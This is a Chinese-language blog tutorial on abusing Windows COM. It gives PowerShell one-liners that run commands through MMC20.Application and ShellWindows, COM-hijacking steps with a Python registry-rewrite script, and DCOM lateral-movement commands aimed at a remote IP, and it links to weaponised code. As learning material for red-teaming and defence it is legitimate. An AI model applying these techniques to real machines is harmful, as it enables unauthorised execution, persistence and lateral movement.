com的从0到1
本文首发于跳跳糖社区,原文链接:https://tttang.com/archive/1824/
前言
本文是作者从0到1学习com的一个过程,记录了从初识com到com的武器化利用以及挖掘。com组件博大精深,无论是从开发的角度还是安全的角度都非常值得研究,本文仅作入门贴。
基础知识
对于com的基本认知,摘自头像哥博客。对于com,个人没有系统的读过微软的文档,一直都不怎么了解,头像哥的这几个总结比较适合我这种懒的读文档的人初步了解。
1 | 1.在设计层面,COM模型分为`接口`与`实现`。 |
还是有必要自己读一下官方文档,第一遍读大部分官方术语是不太理解的,无伤大雅,能理解多少就理解多少。下面是我自己阅读官方文档总结的一些小点
1 | 1.com程序一般是dll文件,被提供给主程序调用。不同的com程序具有不同的接口,但是所有的接口都是从class factory 和 IUnknown接口获得的。所以com程序必须实现 class factory 和 Iunknown接口 |
com与注册表的关系
1 | HKEY_CLASSES_ROOT 用于存储一些文档类型、类、类的关联属性 |
com调用需要的值
1 | 1.CLSID |
整理以后制作IDL,获取到IDL之后,就可以使用合适的语言进行调用
GUID 用于在系统中唯一标识一个对象,CLSID(类标识符)是GUID在注册表中的表示,用于在注册表中唯一标识一个com类对象。guid在标识接口时称为IID(接口标识符)
每一个注册的clsid表项中都含有一个 InprocServer32
的子项,该子项内有映射到该com二进制文件的键值对,操作系统通过该键值对将com二进制文件载入进程。
InprocServer32
表示的是dll的实现路径,LocalServer32
表示的是exe的实现路径
com利用
执行命令
枚举com对象
1 | gwmi Win32_COMSetting | ? {$_.progid } | sort | ft ProgId,Caption,InprocServer32 |
COM接口里枚举出来的函数(如果是微软公开的话)可以到:https://docs.microsoft.com/en-us/search/?dataSource=previousVersions&terms= 搜索
例如:ExecuteShellCommand https://docs.microsoft.com/en-us/previous-versions/windows/desktop/mmc/view-executeshellcommand
在调用函数的时候需要注意,如果CLSID子项带有ProgID的话需要指定ProgID调用方法或属性
可以查看com对象的方法
如下,该类型库公开了start方法,接受bool传参以及commandLine方法
对com组件的利用可以直接使用powershell调用接口执行命令
这里可以调用mmc执行命令 ,后文会讲到,mmc还支持远程调用,等到DCOM那里会提
1 | $handle = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1")) |
另一种调用COM执行命令 ShellWindows
1 | $hb = [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39")) |
等等……还有很多
1 | $shell = [Activator]::CreateInstance([type]::GetTypeFromCLSID("72C24DD5-D70A-438B-8A42-98424B88AFB8")) |
计划任务
通过调用ITaskFolder::registerTask
来注册计划任务
这里头像哥讲的很通俗,可以参考
http://www.zcgonvh.com/post/Advanced_Windows_Task_Scheduler_Playbook-Part.1_basic.html
根据微软官方稍作修改,实现dll武器化
https://github.com/0range-x/dll_weapon/blob/main/schtask.cpp2
进程注入
利用com实现进程注入,没有调用CreateProcess等常规api,而是调用oleacc!GetProcessHandleFromHwnd(),利用 IRundown::DoCallback()
执行命令,并且该接口需要一个IPID和OXID值来执行代码。该接口也不是公开的方法,需要手动去逆,来实现武器化
本人在复现时注入失败,根据报错查看,在调用com接口的时候连接失败,猜测是微软已经修复。
代码实现
https://github.com/mdsecactivebreach/com_inject
com劫持
我们知道dll劫持的原理是利用加载dll的路径顺序,替换原dll为恶意dll,那么com劫持是不是也是类似的呢
com组件的加载过程如下
1 | HKCU\Software\Classes\CLSID |
可以看到HKCU
的优先级高于HKCR
高于HKLM
那我们的目标就很明显了,劫持目标选择 HKCU\Software\Classes\CLSID
,这样就会先加载我们的恶意dll。
与dll劫持不同的是,dll劫持只能劫持dll,com劫持可以劫持 com文件、pe文件、api文件等
步骤就是修改注册表的路径,指向我们的恶意路径,和白加黑一样
利用缺失的CLSID
尝试一下对计算器进行com劫持,寻找 在InprocServer32
下缺失的CLSID
因为修改InprocServer32
下的dll需要一定权限,所以该方法需要管理员权限
保存并导出为csv
)
python实现自动化替换路径
1 | import csv |
生成bat后需要管理员权限打开,再次打开calc发现已经成功劫持
该方法有个明显的缺点,就是需要管理员权限。
所以这里出现了第二种方法
覆盖COM键
原理:在HKCU
注册表中添加键值后,当com对象被调用,HKLM
中的键值就会被覆盖(并且添加到HKCR
)中
先使用oleview.net来过滤程序启动权限为空的id
设置过滤规则
随手点开一个
查看clsid
1 | ADDA2EBE-0BA0-4FEA-A1DE-2F3C7C596099 |
可以看到调用的dll
找到该CLSID对应的dll
修改加载的dll为恶意dll
1 | C:\Program Files\Mozilla Firefox\notificationserver.dll |
但在启动的时候,发现并没有劫持成功
这里猜测可能是因为该dll没有被调用,需要特定服务才能调用,火狐不是那么通用,也也不清楚具体是哪个服务进行调用
下面换一个计算器来进行演示
劫持ie
这里选择ie浏览器进行劫持,对应的CLSID为{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}
,且该劫方法不需要高权限
可以看到本来的注册表项键值
修改注册表
启动ie浏览器,劫持成功
代码实现
https://github.com/0range-x/windows/blob/main/dll_weapon/ieHijack.cpp
com注册表的滥用
LocalServer32
枚举所有LocalServer32
键值
1 | $inproc = gwmi Win32_COMSetting | ?{ $_.LocalServer32 -ne $null } |
寻找File not Found
1 | $paths = gc .\values.txt |
找exe的文件夹路径,这里手工尝试了不少,但是没有发现everyone权限的文件夹路径
这里个人觉得寻找exe的效率很低,不如花时间去找dll实现武器化,毕竟dll的数量更多,利用的可能性更大
InprocServer32
枚举所有InprocServer32
中的键值
1 | $inproc = gwmi Win32_COMSetting | ?{ $_.InprocServer32 -ne $null } |
1 | $paths = gc .\demo.txt |
同样的,找文件夹的权限路径,如果everyone可写,可以替换恶意dll,然后使用rundll32加载
1 | rundll32.exe -sta {CLSID} |
DCOM横移
com是在计算机本地的实现,DCOM是COM的进一步扩展,DCOM通过远程过程调用(RPC)将com的功能在远程计算机上实现,可以将DCOM理解为通过RPC实现的COM。
调用DCOM需要的条件。
通常情况下,调用DCOM连接到远程计算机的时候,我们已经具有了本地管理员的权限
在很多com对象都看到APPid和CLSID是一个值,这里暂且将他们理解为CLSID的不同表示,就像GUID和CLSID一样
枚举支持DCOM的应用程序
1 | Get-CimInstance -class Win32_DCOMApplication | select appid,name |
使用DCOM执行命令
1 | $com =[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1")) |
看到执行命令的方法
调用执行
1 | $com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimzed") |
远程调用,需要关闭防火墙
1 | $com =[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.135.246")) |
另一种组件实现
1 | $com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.135.246") |
除了这两种方法,支持DCOM调用的还有很多公开的方法,这里不再一一列举,需要注意的是,不同的组件对不同的操作系统兼容性不同,建议投入实战前先测试兼容性
1 | Methods APPID |
怎么来查找是否可以被我们利用呢?
可以通过oleview.net 来查找对应的CLSID和启动权限,看到这里 Launch Permission
为空,说明普通权限即可
武器化实现
c#方法
以shellwindows为例
1 | var CLSID = "9BA05972-F6A8-11CF-A442-00A0C90A8F39"; |
可以看到利用和powershell是一样的,只是需要一步步获取方法名,传参多一点
c++实现
实现思路
1 | 1.初始化com组件(CoInitializeEx) |
实现demo
https://github.com/0range-x/windows/blob/main/win32/proxychain.cpp
com挖掘
已公开的com对象
可以通过下面代码遍历所有com组件和它导出的方法
1 | New-PSDrive -PSProvider registry -Root HKEY_CLASSES_ROOT -Name HKCR |
可以查看所有的成员方法
1 | $Position = 1 |
找关键词 execute
,exec
,spawn
,launch
,run
接着进行相应的传参调用即可,类似shellWindows、mmc等
processChain的利用
实现是prchauto.dll,其中包含 tlib文件,可以用oleview打开
在注册表中找到该com组件的实现文件
查看方法,看到接受commandLine方法,说明可能存在利用
去oleview中查看对应的tlb中包含的成员等信息
将这个tlib文件保存到idl文件,然后使用MIDL将IDL文件转换成需要的c++头文件,头文件中会定义这个类和接口的使用方法。
补充一下:idl是一种接口定义语言,idl文件是接口定义文件,包含接口和类型库定义,MIDL是IDL文件的编译器
接下来编译idl,最开始的时候配置命令行版本的midl,但是老是报错,后面发现可以直接在vs里编译
可以查看midl的输出
编译后生成h文件和c文件
我们需要根据头文件来自己编程实现com组件的利用
main.cpp
1 |
|
未公开的com对象
需要利用一些逆向手段,和白加黑的挖掘比较相似(ps:以下方式仅仅是对这种方式的复现,并未去挖掘新的com利用)
那么,如果看不到它的方法或者参数怎么办呢?这个时候就需要我们去逆向
在oleview里找到该方法调用的参数
这种情况我们还无法确定是否可以创建其他进程
在ida里发现该dll确实调用了CreateProcess,虽然没有找到具体是哪个方法调用的,但基本可以确定该com对象是可以执行命令创建进程的,上文的利用也是印证了这一点
自动化挖掘
诚然,纯手工挖掘com组件是很耗时的一件事情,下面介绍自动化挖掘com的方法
项目地址
https://github.com/nickvourd/COM-Hunter
大致介绍
com劫持
发现是oleacc.dll
修改后启动ie浏览器,劫持成功
这种方式是不是比上面手动挖掘方便多了呢?但是也有缺点,找到的com并不完整,更深入的挖掘还是需要依靠手工
总结
com可以挖掘利用的点还有很多,浏览器、office等等各种功能都曾被挖掘出利用,现在已经成为对抗中的热门领域,非常值得深度研究,包括劫持横向提权等等……
本文也只是记录个人在学习com从0-1的过程,如果有理解错误的地方,欢迎大家指正
参考文章
https://422926799.github.io/posts/73b20b1d.html
https://bohops.com/2018/04/28/abusing-dcom-for-yet-another-lateral-movement-technique/
https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
https://github.com/rvrsh3ll/SharpCOM/blob/master/SharpCOM/Program.cs
https://paper.seebug.org/1624/
https://learn.microsoft.com/en-us/windows/win32/taskschd/logon-trigger-example--c---
http://www.zcgonvh.com/post/Advanced_Windows_Task_Scheduler_Playbook-Part.1_basic.html